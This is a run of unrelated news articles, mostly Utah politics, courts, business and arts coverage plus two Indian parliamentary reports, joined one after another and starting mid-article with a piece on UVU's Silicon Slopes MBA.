The new MBA at Silicon Slopes takes that natural partnership to a whole new level by providing the business and community leaders we need in Utah to not only continue our rapid economic growth, but to also address the challenges that come with growth. We are absolutely delighted that these two innovators are again joining forces to make a difference in the lives of residents and the quality of our community, Wright said.

UVUs MBA is offered as a full-time accelerated program or a part-time program to meet students' differing needs.

The Silicon Slopes campus will serve as the MBA programs third campus. Full- and part-time programs are offered at UVUs Orem campus, and part-time programs are available at Thanksgiving Point.SALT LAKE CITY  At least one Utah member of Congress isn't pleased with the bipartisan federal budget deal because it contains too little for a border wall and doesn't address so-called Dreamers.

Rep. Chris Stewart, R-Utah, said he's "disappointed" in the proposal, but would "probably" vote for it and believes President Donald Trump will sign it. The four-term congressman isn't happy that what once was a $25 billion request for border security is down to a "fraction" of that.

"Obviously I cant look at that and go, 'Well thats swell' because I dont think it's swell, I dont think its good," he said Wednesday on CNN. "But its the deal that we have and, frankly, I think weve come to the end of this road. I think thats the best were going to get."

Trump has not said whether he would sign the spending bill should it reach his desk.

Details of the deal are still being worked out, but it includes about $1.4 billion for 55 miles of barriers at the southern border and a limit of about 40,000 detention beds at Immigration and Customs Enforcement facilities. Currently, ICE has capacity for about 49,000 detentions.

The government would partially shut down again if a deal is not reached before midnight Friday.

Stewart said he's "very disappointed" the proposal doesn't address the Deferred Action for Childhood Arrivals program. The policy allows children of illegal immigrants to remain in the U.S. if they were under 16 when their parents brought them to the country.

The Trump administration tried to end the program in late 2017, but federal courts in San Francisco, New York and Washington, D.C., have blocked the move.

"We wanted to give some protection to Dreamers and we couldn't get there, and we couldn't get there because the Democrats wouldn't work with us on that," Stewart said.

Stewart said the deal on the table now is worse than the one that the previous Congress couldn't get passed last December, leading to a 45-day government shutdown.

"The last thing in the world I want is another government shutdown. We didnt get anything out of this. We didnt accomplish anything by it. I think the president probably feels the same way," he said.

On CNN, Stewart also was asked about special counsel Robert Mueller's investigation into alleged collusion between the Trump campaign and Russia. Like other recently released reports, the congressman said he doesn't think the Mueller probe will find any evidence of collusion.

Stewart, a member of the House Intelligence Committee, said Mueller should make his entire investigation public when it's completed.

"I hope they dont redact a single sentence, a single paragraph. Part of the reason is I dont think they're going to find anything there," he said, adding that if anything is blacked out conspiracy theorists will continue to question the report.

"I just think well be talking about his like we did JFK for another generation, I hope the whole thing is provided to the American people," he said.SALT LAKE CITY  A man with a history of intoxication and disorderly conduct was arrested this week after police say he repeatedly called 911, even after officers already on scene told him to stop.

The 46-year-old man got into a fight Sunday with another man in the area of 100 South and 300 East. Police found him nearby "with his shirt off and bleeding from the head," a Salt Lake County Jail report states. The man was also intoxicated, according to police.

Officers said the man refused medical treatment and was not cooperative with the investigation. The man was also "unhappy with police not being able to locate the other male," the report states.

Because of his displeasure with the Salt Lake police officers who were trying to help him, "he continued to call 911 and even did so while police were on scene. (The man) was even told to stop calling 911 by a police supervisor," according to the report.

The man called the emergency number 10 times in less than an hour, the report states. He was arrested for investigation of intoxication, disorderly conduct and 911 abuse.

In 2017, the man was also convicted of disorderly conduct and intoxication in South Salt Lake Justice Court, according to court records.PAYSON  A 14-year-old boy was recently arrested after police say he threatened a mass school shooting at his junior high school.

The Payson Junior High student was charged in juvenile court with making a terroristic threat, but investigators do not believe the boy had the intention or means to actually carry out the threat. Still, police are praising other students who immediately followed through with the adage of "see something, say something."

On Jan. 22, the teen sent a Snapchat message to a friend at Mt. Nebo Junior High, according to a search warrant affidavit filed in 4th District Court.

"Ima get my AR-15 roll up around 12 and y'all gonna be (expletive) dead, goal is to get at least 20," the message stated, according to the affidavit.

The boy also allegedly threatened the friend "that if she told law enforcement he would cause harm to her."

The girl took a screenshot of the message and sent it to a friend who attends Payson Junior High, and told her "not to go to school at 12 because (the boy) was going to shoot up the school," the warrant states.

That student showed the message to her principal who contacted law enforcement. While officers were looking for the boy, the principal found him in the hallway at Payson Junior High and took him to the office.

Payson Police Sgt. Noemi Sandavol said the student admitted to sending the messages, but said he didn't really intend to go through with it  something investigators agreed with after reviewing the situation.

The boy was arrested and booked into juvenile detention. Sandavol praised the girls who spoke up and reported the threatening social media message.

The boy was charged with threat of terrorism and witness tampering, both third-degree felonies, according to charging documents filed in 4th District Juvenile Court.SALT LAKE CITY  Citing perceived voter confusion over Proposition 3, a panel of state senators Tuesday advanced a bill adding new requirements for citizen ballot initiatives, including spelling out the sources of any needed funding.

"It's a transparency issue," the sponsor of SB151, Sen. Deidre Henderson, R-Spanish Fork, told members of the Senate Government Operations and Political Subdivisions Committee before their vote to recommend passage of the bill.

It will be considered next by the full Senate.

Besides mandating that the price tag be placed at the top of an initiative petition, the also requires that at least 50 copies of the fiscal impact statement be made available at the public hearings that must be held before it can be circulated.

Henderson said the changes made by the bill, which also include having the legislative fiscal analyst provide financial information instead of the governor's budget office, should not be seen as an additional burden.

The new requirements are similar to those imposed by the Legislature in the past on local bond issues on ballots, she said, noting voters still approve such measures even after details of the costs were stated up front.

Sen. Kathleen Riebe, D-Cottonwood Heights, said she was concerned that Utahns already had to work "very, very hard" to get three initiatives on last November's ballot and questioned whether SB151 would make that more difficult.

"It doesn't really provide any extra steps," Henderson said. "It's just a matter of making sure the public who's voting on this understand the implications, how much it's going to cost and where that funding is going to come from."

Sen. Todd Weiler, R-Woods Cross, brought up the differences between Question 1 in the last election, asking voters if they wanted lawmakers to raise gas taxes to help fund schools, and Proposition 3, which increased sales taxes for Medicaid expansion.

"After the election was over, almost everyone I talked to about the propositions knew that the ballot question, the nonbinding gas tax ballot question was a tax increase" that was voted down, he said.

But Weiler said the voters he spoke with weren't aware there was an even bigger tax increase, a 0.15 percent hike in the state sales tax, in Proposition 3, believing instead the federal government was picking up all of the expense.

"Most people were surprised, and I'm not sure how that got lost in the conversation," the senator said. "I really welcome these changes. I like the initiative process in general."

Testifying in favor of the bill was Phill Wright, a Utah Republican Party official who continues to battle legislation passed in 2014 as a compromise with backers of the Count My Vote ballot initiative that sought to establish direct primary elections.

"We have ballot initiatives that are either deceptive or they don't let the public know the fiscal impact it's going to have to the state. It makes your job a lot harder and then you become the bad guys," Wright said, citing SB96 as an example.

He saidthe bill passed Monday as a replacement for the full Medicaid expansion in Proposition 3 is what happens when lawmakers have to "figure out a way to pay for something that the public thinks they wanted and thought was being funded."Under the Assam Accord, all illegal immigrants who have entered after 1971, irrespective of religion, have to be deported.

In Upper Assam, all those who opposed the bill bursted crackers and gave out sweets, accusing the BJP-led alliance government of backing the anti-people bill at the behest of the RSS.

Guwahati: In what was described as a grand victory of the anti-Citizenship Bill lobby in the Northeast, the controversial Citizenship Amendment Bill on Wednesday failed to get passed in the Rajya Sabha, which adjourned sine die after repeated interruptions by the Opposition.

As soon as the news came of the Rajya Sabhas sine die adjournment, student bodies, civil society groups and political parties in Assam erupted in celebrations, saying it was the victory of all the people in the Northeast.

However, Assam finance minister and senior BJP leader Himanta Biswa Sarma told reporters this could not be seen as a victory of the states people, and that his party would remain committed to the issue and will come back with the bill if it returns to power. He said if the law was not in place, then by 2022 Assam would be controlled by Bangladeshi Muslims.

It is significant that bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha; but bills passed by the Lok Sabha and pending in the Rajya Sabha lapse as the term of the Lower House ends.

Meghalaya chief minister Conrad Sangma said in a statement on Wednesday evening: I think it was the effort of all political parties, all organisations and the movement at every level that really led to the stalling of the bill in the Rajya Sabha. So I dont want to go into the details, but I can tell you efforts were made at different levels which ultimately culminated in what has happened today. I think the credit goes to all the organisations, all the political parties that worked day and night to reach out to the leaderships of different political parties, and we are happy that ultimately the sentiments of the people and the voice of the people of the Northeast has been heard.

The Citizenship (Amendment) Bill provides for conferring Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India, instead of 12 years, which is the current norm, even if they do not possess any document.

Student organisations, political parties and socio-cultural bodies have been protesting on the grounds that it seeks to grant nationality to non-Muslims who have come into India upto December 31, 2014, extending the deadline from 1971 as provided under the Assam Accord.

Under the Assam Accord, all illegal immigrants who have entered after 1971, irrespective of religion, have to be deported, and this bill violates that. The student body leaders and members of civil society groups thanked Meghalaya CM Conrad Sangma for his bold stand against the bill. Mr Sangma had threatened to sever all links with the National Democratic Alliance and topple the BJP-led Manipur government. In Upper Assam, all those who opposed the bill bursted crackers and gave out sweets, accusing the BJP-led alliance government of backing the anti-people bill at the behest of the RSS.SALT LAKE CITY  Advocates seeking to combat domestic violence and suicide gathered with lawmakers at the state Capitol Tuesday, calling attention to proposals they say would keep victims safe and make sure weapons are out of reach when despair and anger run high.

Among the supporters is Taryn Hiatt, who survived several suicide attempts as a teenager and whose father took his own life. As an adult in a violent relationship, she again considered ending her life, she told reporters and others.

"I'm grateful for the support I had and the family members I reached out to, and that I didn't have access to something lethal," said Hiatt, the area director for the American Foundation for Suicide Prevention. "If someone in your home is in crisis, let's put time and distance between them and the firearm so they have the opportunity to live."

A measure from Rep. Stephen Handy seeks to do just that. HB209 would create a path allowing family members to ask authorities to take guns away from someone who has recently made a threat, violated a protective order, shown a pattern of violence in the last year or threatened self-harm.

"There's a gap in the law when a person is threatening him or herself," the Layton Republican said. Some gun rights activists see the bill as a "gun grab," he acknowledged, but he said it carries the same due process standards as other types of protective orders.

"We're trying to carefully thread the needle between giving families a legal remedy and upholding and protecting a constitutional right," he said. Handy noted Indiana and Connecticut have had a 10 percent reduction in suicides after passing a similar law.

In a similar vein, another proposal from Steve Eliason, R-Sandy, would build on an existing firearm safety program designed to educate gun owners and those around them on proper storage of the weapons and suicide prevention. HB17 would also provide coupons for gun safes to those who apply for concealed carry permits.

Eliason said his measure is informed by a November report finding that 85 percent of Utah gun deaths from 2006 to 2015 were suicides.

The takeaway from the report is that "the firearm they purchased to protect their family is very, very likely to be the firearm that takes the life of a family member," Eliason said. "When firearm owners come to that realization, I think they'll take the common sense steps."

The report also identified "very concerning" rates of Utahns killed by loved ones, said Jenn Oxborrow, executive director of the Utah Domestic Violence Coalition. In nearly 3 in 4 homicides of Utah women, the killer was a family member or intimate partner, according the analysis from the state of Utah and the Harvard School of Public Health.

A proposal seeking to curb such deaths would boost GPS tracking for offenders convicted of domestic violence and those who are released from jail before trial. HB253 would give judges more guidance on issuing the ankle monitors and would require courts to report data on the cases to lawmakers. The technology has not been used to the extent it could, said bill sponsor Rep. Robert Spendlove, R-Sandy.

The measures also have the support of law enforcement.

Tom Ross, Bountiful police chief and president of the Utah Chiefs of Police Association, said that 30 years of police work have persuaded him that domestic violence "is the most damaging form of oppression that I can ever think of in society," because it starts with the premise of love and then morphs into control and fear. "The toll is deeper and I think the pain is more significant," he said.

The harm is especially apparent in indigenous communities, said Moroni Benally with Restoring Ancestral Winds. His group is one of 13 tribal coalitions nationwide seeking to fight violence against native women, who are at a higher risk of homicide, he said.

On Tuesday, the groups also cheered lawmakers' approval of a bill to strengthen protections for domestic and sexual violence victims after their aggressors are released from jail. HB19 has not yet been approved or rejected by the governor. They also gave their support to a measure still in the works that would direct judges to take greater consideration of domestic violence in child custody battles.

At the news conference, University of Utah President Ruth Watkins said she is grateful for the advocates' recent help in establishing a risk assessment protocol for university officers responding to reports of violence and misconduct. The initiative is part of the school's response to the death of student-athlete Lauren McCluskey, killed on campus in October by a man she briefly dated.SALT LAKE CITY  You didnt really think lawmakers would stop after messing with Proposition 3, did you?

Now its time to get at what some of them see as the real problem  the initiative process itself.

The thinking goes like this:

Last November, voters were faced with a ballot measure that asked, right up front, if they would raise the gas tax by 10 cents per gallon to help fund education. It failed miserably.

On the same ballot, voters were faced with Proposition 3, a citizen initiative to fully expand Medicaid under the Affordable Care Act. Somewhere in the text of that proposition it said this would authorize a 0.15 percent increase in the sales tax. This passed, and possibly because you, the voter, never noticed it.

In addition, that 0.15 percent tax increase was not enough to fully fund Medicaid expansion, according to legislative fiscal analysts.

One thing I learned from last November, some of this got lost in the conversation, Sen. Todd Weiler, R-Woods Cross, told a committee. He, incidentally, was the only Republican in the Senate to vote against the recent changes to Proposition 3. In casual conversations, he said, the people he has spoken to were surprised to learn about the tax increase.

Which brings us to SB151, sponsored by Sen. Deirdre Henderson, R-Spanish Fork.

This bill, which passed the Senate Government Operations and Political Subdivisions Committee unanimously Tuesday afternoon, would require any future citizen initiative to state, right at the top, how much it would cost and how that cost would be funded.

The cost would be calculated by the Legislative Fiscal Analysts Office.

Its hard to argue against this change. Transparency, especially when it comes to tax hikes, ought to be clearly and prominently stated. And its only prudent to say how something will be funded.

Whether this was the reason Question 1 (the gas tax hike) failed and Proposition 3 succeeded, however, is not so clear.

The danger is that this narrative might end up changing how lawmakers view what happened.

The gas tax question was complicated and confusing. By last November, a temporary spike in gas prices made the idea of adding 10 more cents per gallon unpleasant, and voters may have had trouble understanding why gas taxes, and not the income tax, was the best way to fund education.

Its failure did not necessarily mean Utahns have no interest in increasing funding for schools.

And while Proposition 3 didnt put its tax hike front and center, its unconvincing to say that would have been a game changer, or that voters desire to help the poor did not outweigh any perceived disadvantage to what seemed a modest bump in the sales tax.

Its important to put all of this in historical context.

Many lawmakers (not all) have a storied history of disliking the little piece of direct democracy known as the citizen initiative process. They view it as the philosophical fast-lane to California, the poster child for endless government-choking ballot initiatives.

Utah was just the second state to allow such a thing, but only because people forced a statewide vote on it in 1900. It took lawmakers another 16 years to pass a law that defined how citizens were supposed to use this new right. And the law they passed required everyone signing a signature to do so in the office of, and the presence of, someone authorized to administer oaths.

Forget about looking for a guy with a clipboard outside your local grocery store. Make an appointment, have a seat and wait for the judge to see you.

Not surprisingly, it took another 44 years and some court decisions before Utahns ever successfully passed an initiative.

Much has changed over the years, but the tug of war continues.

The state constitution makes successful initiatives just as binding a law as if the Legislature had passed it and the governor signed it. The only difference is it never had to go through the amendment process all other legislative bills pass through on their rocky and uncertain path to the lawbooks.

Understandably, thats not the best way to make laws. And yet, lawmakers sometimes ignore matters the public thinks ought to deserve attention, and the initiative process gives them some recourse.

Utahs ballots will never be confused with a California ballot. Its already too hard to follow all the rules to qualify here, at least without a lot of money.

The bigger question, to many voters, is how to get lawmakers to at least honor the intent of what they pass at the ballot box  something many felt was lacking with the changes to Proposition 3, tax hike or not.DRAPER  Navigating the world of credit and borrowing is a huge challenge, particularly for small businesses.

Nav is a 7-year-old Utah company dedicated to aiding small businesses in that journey, utilizing a bevy of high-tech data analysis tools. This week, the company announced a $44 million Series C funding round led by investment banking giant Goldman Sachs. The company said the new capital will help accelerate both its product development and market growth efforts.

Nav President Gregg Ott told the Deseret News that, unlike the limited number of loan categories that consumers typically are pursuing, the suite of loan types and financing categories for small businesses are both numerous and come with a panoply of requirements that can be daunting, time-consuming and expensive.

Nav's mission statement is to ease that burden.

"For the average consumer, borrowing money is a much simpler process than for the business owner," Ott said. "Everybody uses roughly the same data, the same FICO score  and the products, like auto loans, mortgages, students loans, are very straightforward.

"When the small-business owner is seeking credit or financing, there are countless business situations and a wide and diverse array of lender products that really complicate the process."

Ott said Nav provides small-business owners with free access to credit reports but also gives them access to a data analysis portal that can match the business' needs with the right kind of lender. The process, Ott explained, leverages Nav's access to all three major credit reporting bureaus, the business credit company Dun and Bradstreet, and information from the businesses themselves and potential lenders in order to find solutions to credit and finance challenges.

Ott said that unlike brokers or lenders, Nav is "solving problems with data and engineering by building intelligent software on top of data." That process, Ott said, makes it dramatically easier for business proprietors to identify the most helpful financial products and, along the way, compresses the time it takes to find those solutions.

Ott said Nav can be particularly helpful to businesses that are working to establish credit, as well as to small companies that may be leaning on the credit histories of owners and principals before the company itself has built a credit history. Since each credit reporting agency gathers a somewhat different set of data on their own, Nav's ability to pull information from multiple sources and crunch that data with an artificial intelligence-driven analysis engine provides a resource that just hasn't been previously available to small businesses, Ott said.

Nav was founded in 2012 and has attracted nearly $100 million in venture funding to date. The company currently employs about 125 and is continuing to expand its operations in Draper and the Bay Area.SALT LAKE CITY  A bill critics say would upend a 14-year-old ban on so-called "hotter" radioactive waste disposal in Utah and give wide policy discretion to a single government employee received House approval Tuesday with a 51-20 vote.

The Radioactive Waste Amendments, HB220, by Rep. Carl Albrecht, R-Richfield, would codify waste classification at the time of disposal, not how it may change over time.

That key change is critical in EnergySolutions' bid to bury the nation's stockpile of 750,000 tons of depleted uranium  the byproduct of the uranium enrichment process  which meets low-level radioactive waste classifications now but in about 38,000 years jumps to the more radioactive class B waste.

Utah banned the importation of class B and class C wastes in 2005.

Depleted uranium is a unique waste stream that has proven problematic to characterize by the U.S. Nuclear Regulatory Commission and state regulators.

It is 40 percent as radioactive as naturally occurring uranium and is incredibly dense, leading to its use by the military to coat tanks and ammunition and in medical applications to shield medical workers taking X-rays. The "leftover" depleted uranium from the enrichment process sits in Kentucky and Ohio awaiting storage.

Utah is in the midst of a technical review process to determine if EnergySolutions meets site-specific disposal requirements for acceptance of the waste in Clive, Tooele County. The analysis projects how the disposal site would hold up under deep geologic time.

The bill would not remove the requirement of that state analysis prior to the acceptance of any depleted uranium for disposal at Clive.

EnergySolutions' officials briefed members of the GOP caucus before debate Tuesday afternoon.

Albrecht, whose father, uncle and older brothers mined uranium in Utah in the 1950s during the height of the Cold War, said depleted uranium is the byproduct of an industry that helped the United States win World War II, employed thousands in the state and continues to provide good jobs in Tooele County.

"Like it or not, it is a critical part of enjoying the freedoms all Utahns enjoy," he said. "Once the useful life of the material is over, it needs to be disposed of."

His Democratic colleagues panned the idea of loosening any of the radioactive waste disposal restrictions in Utah and creating any to path to hastening the disposal of depleted uranium in the state.

"What we could be leaving for many generations off into the future could be very, very dangerous," said Rep. Patrice Arent, D-Millcreek.

Rep. Joel Briscoe, D-Salt Lake City, said lawmakers would be wise to keep in mind that Clive would be destined to be the "permanent" repository for the radioactive material, not temporary.

"We are talking a million years," he said. "This is well past lifetimes we can imagine."

The measure also made some lawmakers like Arent uncomfortable with vesting so much discretionary authority with the director of the Utah Division of Solid Waste and Radiation Control.

But Rep. Keven Stratton, R-Orem, said the regulatory review process is based on rigorous scientific analysis and nothing in the bill precludes Utah lawmakers from revisiting the issue.

"At any time we can shut anything down that that facility is doing, let alone this. We should act like a Legislature and move the policy forward."

The measure now moves to the Senate, where critics hope they can kill the bill.

Mark Walker, spokesman for EnergySolutions, said the company is grateful lawmakers acted to "clarify" an important policy question.

Contributing: Katie McKellarSALT LAKE CITY  Family and colleagues of David Romrell and Dennis Vincent, two police officers who died in the line of duty last year, came to the Capitol where legislators stood and honored their sacrifice.

"(This is) one of the days that we wish we didn't have to have at the Capitol, it's never acceptable to lose one  or more than one of our officers in the state of Utah," said Sen. Wayne Harper, R-Taylorsville.

David Romrell, a former U.S. Marine who served in the South Salt Lake Police Department for 11 months before he lost his life in November, was the city's first officer to be killed in the line of duty.

Romrell served in the Marine Corps from 2006 to 2014. Although he had a college degree in computer engineering, he decided to continue the path of service and become a police officer.

"The South Salt Lake Police Department and the city of South Salt Lake will forever remember Officer David P. Romrell and they will forever watch over Elizabeth and Jackson Romrell," according to a citation read on the floor.

Dennis Vincent, assistant chief in the Brigham City Police Department, collapsed after an annual mandatory physical fitness test in October. He died the next week from a brain aneurysm.

Vincent started his police career in 1990 and joined the Brigham City department in 1994.

"In his childhood he pretended to be a police officer and would often pull over his friends on their bikes and issue them a ticket," according to the citation.

The citation commended Vincent for service to his nation, state and city, including work in various divisions in the police department and assistance with recovery from Hurricane Katrina.

"We again honor you, we honor those that serve, (and) we express deep appreciation, not only to them, but the sacrifices you've made as family members," said Senate President Stuart Adams, R-Layton.SALT LAKE CITY  Senate Majority Leader Mitch McConnell said Tuesday that the Senate will hold a vote Wednesday on the Green New Deal, an energy and environmental plan thats been touted by prominent progressive Democrats.

"I've noted with great interest the Green New Deal, and we're going to be voting on that in the Senate to give everybody an opportunity to go on record," McConnell said, according to CNBC.

New York Rep. Alexandria Ocasio-Cortez and Massachusetts Sen. Ed Markey, who are both Democrats, introduced the climate change bill last week, according to Axios.

Why?: So why does McConnell want to get everyone on the record? It has to do with the 2020 presidential election, according to Wyoming Sen. John Barrasso, who is also chairman for the Environment and Public Works Committee.

Its astonishing to see this many presidential candidates moving so far to the left on a position that is going to raise energy costs for families, hurt jobs in America and really provide almost a government takeover of many of the industries in our country, he said, according to The Hill.

He added that its important to get people on record as to how much they really want to take this country in a hard left direction.

Support: As The Hill reported, politicians running for office in 2020  Sens. Cory Booker, Elizabeth Warren, Amy Klobuchar and Kirsten Gillibrand  have all backed the deal.

Republicans, meanwhile, remain against it, according to The Hill.

If you read the 14 pages of this Green New Deal, it goes way beyond just energy. Its almost a manifesto of a whole change in what, to me, is democracy in America, Barrasso said.

What it says: According to BBC News, the GND is is more a political statement than a set of proposals aimed at penalizing U.S. citizens.

The plan outlines how economies should work to deal with the root causes of climate change, BBC reported.

Most prominently, the deal would give the U.S. 10 years to focus on renewable energy rather than carbon. The bill calls for new and existing buildings to be upgraded for better energy efficiency. Transport would also be fixed to end all greenhouse gas emissions, BBC News reported.

The plan calls for the government to "guarantee a job with a family-sustaining wage, adequate family and medical leave, paid vacations and retirement security to all people of the United States, too, according to BBC News.

More: As Vox noted, most of the resolution consists of goals and policies that anyone who takes climate change seriously will find necessary. But down toward the bottom of the list of projects, the resolution really lets its hair down and gets funky. Readers who make it that far into the document will find some eyebrow-raising doozies.

If youre keeping score at home, the Green New Deal now involves a federal job guarantee, the right to unionize, liberal trade and monopoly policies and universal housing and health care, according to Vox.WEST VALLEY CITY  Criminal charges were filed Tuesday against a 14-year-old boy accused of fatally shooting another teenager during their school lunch break.

West Valley police confirmed the boy was charged in 3rd District Juvenile Court with manslaughter, a second-degree felony, and obstruction of justice, a third-degree felony.

Elma Castillo, the mother of the victim, on Tuesday told the Deseret News she's trying to cope with the loss of her son and she feels lost.

Of the 14-year-old getting charged in the death, Castillo said, "I feel sad. Because he's just a baby, too. They were all babies."

On Feb. 5, Marquez Grajeda, 15, was shot in the head from close range and killed while inside a bedroom at a house at 1347 W. 2320 South. Several teens and adults were in the house at the time of the incident. The teens were on a lunch break from school, according to police. Marquez did not live at that house.

Police have previously stated that the shooting was not believed to be intentional. But according to Utah law, a charge of manslaughter can be filed if prosecutors believe someone recklessly caused the death of another person.

"My son got taken away, but the other parents are suffering, too. But they get to see their son. I feel bad because he's a baby, too, and that really has destroyed his life," Castillo said.

On Feb. 7, police announced that a Utah Highway Patrol dive team had recovered the gun believed to have been used in the fatal shooting in a canal near 2700 South and 1400 West.

Detectives have seized three guns as part of their investigation: two from inside the home where the shooting occurred and the one from the canal. One of the guns recovered in the house belongs to the homeowner, according to West Valley police.

Investigators have not been able to determine who owns the second gun.

Contributing: Ashley ImlayUtahs GOP lawmakers like to remind us we live in a republic, not a democracy.

Thats how they justify dismissing the values of their constituents. They will do anything to retain power and deny citizen involvement. They fight fair redistricting laws, limit voter participation in primaries and have nearly bankrupted their party challenging Count My Vote in court.

Now they seek to destroy the initiative process, and their actions threaten the integrity of our elections. Voters rejected partial Medicaid expansion when they passed Proposition 3 in November. Utahns demanded full Medicaid expansion, and demonstrated a willingness to pay for it. But lawmakers began their legislative session scrambling to overturn Proposition 3 and nullify the will of the voters with a hastily written bill, lacking sufficient fiscal analysis. Their message is loud and clear: They dont share your values, and your vote doesnt count.

Whether one supports Medicaid expansion or not, this should be concerning because it demonstrates that our representatives have no accountability to their voters.

Jessica Rawson

KaysvilleSALT LAKE CITY  David Garbett, the latest challenger to Salt Lake City Mayor Jackie Biskupski, officially launched his campaign as the seventh candidate in the mayoral race Tuesday outside the state Capitol.

The former executive director of Pioneer Park Coalition and former attorney for Southern Utah Wilderness Alliance for 10 years said his main priority is air quality.

"I live in a city where I am placing my two kids at risk of lifelong health effects because of our toxic air," Garbett said. "I have two daughters that really drive my decisions."

In December, he said his oldest daughter was sick and his wife took her to InstaCare where breathing tubes were administered. Doctors feared she would suffer lung damage, he said.

Garbett said his daughter's experience is an example of why air quality needs to be addressed.

"Just because a problem is hard, doesn't mean we shouldn't try  the stakes are way too high," he said.

If elected, Garbett said within his first year in office he will release a plan that will provide a roadmap on how to improve the city's air. He also said he hopes to make the city carbon free and to have 100 percent clean electricity by 2023, adding that "it's possible, it's feasible and we owe it to our kids."

Garbett's message for clean air resonated with supporters.

"Our daughter has been sick, too, and to hear that story of their daughter really hit home for me," said Katy Miller, attendee of Garbett's campaign launch.

Her husband, Chad Miller, said he appreciated that Garbett wasn't an experienced politician.

"What sets David apart from some candidates is he's not a professional politician so he feels grassroots and down to earth," he said.

Katy Miller agreed.

"We're good friends. I just honestly feel like he is a genuine person. He genuinely wants to do all the things he said he's going to do."

Jeff Robison, a pediatrician with Primary Children's Hospital and 20-year friend of Garbett, introduced him at the event and said he appreciated the focus on air quality.

"He's dedicated his adult and professional life to the cause of land conservation and air quality, and he would be the candidate in this race who would most effectively address one of the issues that I think is of key importance to all of us in Salt Lake City and that is our air quality," Robison said.

He also said he sees complications from air quality nearly every day in his practice as a pediatrician.

Other issues Garbett outlined were climate change, homelessness and affordable housing.

Garbett criticized Biskupski, saying she hasn't cooperated with the Salt Lake City Council, the Legislature and other cities.

He also commented on the federal government, noting that Congress is "completely gridlocked," making local government even more important.

"Local government is a place where we can really drive change that affects people's lives," he said.

He also emphasized the importance of embracing all Salt Lake City citizens.

"We know this inclusivity strengthens us," he said. "We need to be a city for everyone regardless of their income, their race, their gender, their politics or even their language.  Everyone is part of Salt Lake City."

Garbett, who is a Spanish-speaker, then shared this message of inclusivity in Spanish.

Other challengers in the 2019 nonpartisan race include former state Sen. Jim Dabakis, two-term City Councilman Stan Penfold and businessman David Ibarra.As soon as the House met again, members from various opposition parties trooped into the Well protesting against the incident involving Yadav.

New Delhi: Protests by the Samajwadi Party and other Opposition parties over the alleged stopping of former Uttar Pradesh chief minister and SP chief Akhilesh Yadav at Lucknow airport to prevent him from visiting Allahabad, led to two adjournments in Rajya Sabha, which finally had to be adjourned for the day by the chair as protests continued.

The governments efforts to move the controversial Citizenship Amendment Bill, which was mentioned in the business list of the Upper House, remained unsuccessful.

In the morning when the House assembled, SP members tried to raise the issue but chairman M. Venkaiah Naidu ordered that nothing would go on record. Mr Naidu said he could not allow them to raise the issue as they have not given notice.

Mr Yadav was allegedly stopped at Chaudhary Charan Singh International Airport in Lucknow by the police in a bid to prevent him from visiting Allahabad to attend an oath-taking ceremony of a student leader at Allahabad University. The UP government said the step was taken on the request of the university as there was apprehension that Mr Yadavs visit could trigger violence on the campus.

The House had to be adjourned till 2 pm after SP members started shouting slogans. When the Rajya Sabha reassembled, SP, BSP, TMC, RJD, continued their protests following which the House was adjourned till 2.35 pm.

As soon as the House met again, members from various opposition parties trooped into the Well protesting against the incident involving Mr Yadav.

Deputy chairman Harivansh tried to pacify the members saying that the Chairman did not receive any notice regarding the issues being raised by them and therefore a discussion on them cannot be allowed.SALT LAKE CITY  All musicals require that its performers act, sing and dance. The Tony Award-winning musical "Once" is no exception, but adds to the requirements the cast doubling as their own orchestra.

Pioneer Theatre Company brings the 2007 Sundance film-turned-Broadway musical to its stage Feb. 15-March 2. The show tells the simple story of an Irish street musician and a Czech woman falling in love through their shared passion for music.

"Music tends to be really important in most cultures, but  music is so much part of these people's lives and so much a part of the community and so much part of how they relate to each other," said Scott Anthony, the L.A.-based actor who plays studio engineer Eamon and serves as the production's assistant musical director. "Having your actors actually play the instruments just helps drive that home in the story."

Because music is so intrinsic to the story, it's important that all the actors also be excellent instrumentalists. Anthony plays seven instruments throughout the course of this production  a daunting prospect for someone with less musical experience.

"I've been playing piano and singing since I was 5 years old," he said. "And picked up guitar, bass, drums, mandolin, all those various other things along the way."

New York-based actor Cody Craven, who plays Andrej, has a similar story. Thanks to his father's work as a folk jazz musician, Craven found music at a young age. He started with the fiddle, then moved on piano and mandolin as he got older, before adding percussion, guitar, bass and an ever-growing list of instruments to his skill set.

But in this production, Craven and Anthony are not the outliers  they're the standard. The entire cast of PTC's "Once" is multitalented, and most play multiple instruments  or picked up a couple of extras for the show. Mary Fanning Driggs, who plays Baruska, learned to play accordion specifically for PTC's "Once." The heightened musical requirements of the show makes it a perfect opportunity for actor/musicians like Anthony, Craven and the rest of the cast because it combines their passions.

"After seeing the way that the show was done, all I wanted was to be in it," Craven said. PTC's production will be his fourth experience onstage in "Once."

And while "Once" is a demanding show for any actor, PTC's production has taken it further by staging it with set changes and placing it on a bigger stage. Most previous productions of the musical have had minimal props, with the entirety of the action taking place in one set. But Utah theatergoers can expect this production to have set changes, transitions and turntables.

These changes don't come without their share of problems, especially as each change impacts the acoustics of the instruments. Craven said the tech team has worked tirelessly to get things just right.

"They actually just brought in-ear monitors for a couple of us.  Every single instrument is already being wirelessly transmitted," Craven said. "To add in three sets of in-ear monitors on top of all of the other wireless frequencies going on, including the other stage within the same building  I'm astounded at the sound guys' resilience and their ability to navigate all of those wireless channels."

Craven credited the creative team with conceiving a vision for the show long before the actors began rehearsals. He met choreographer Lainie Sakakura months ago when he was auditioning and she already had the choreography planned in her head.

Compared to the original Broadway production, the choreography for the PTC show is "much more of a spectacle in this production," Craven said. " Lanie is insane  she'll tell you she's crazy." He encountered her vision during his callback audition.

"We were practically cartwheeling around this room, like, on our knees, slapping the floor," he recalled. "We were all drenched in sweat at the end of this dance call looking at each other like, 'What have we gotten ourselves into?'"

In addition to dancing, the performers also sing, play their instruments, stay in character and move scenery. Craven said one of the trickiest things to get right is stepping off the moving turntables while playing an instrument  but even with all of the challenges, he and the other cast members wouldn't be anywhere else.

"Being fortunate enough to make a living doing acting or playing music,  I always feel weird talking about it being hard work," Anthony said. "But it kind of is hard work  doing all of those things at once. It is much harder than any job when you're only doing one of those things."

New York-based actor Zander Meisner, who plays Svec in this production, said he hopes everyone who comes to see "Once" realizes the actors are playing the instruments. People are so used to the idea of them acting, he said, that it's fairly common, especially for those sitting farther back, to assume the actors are mime playing their instruments.

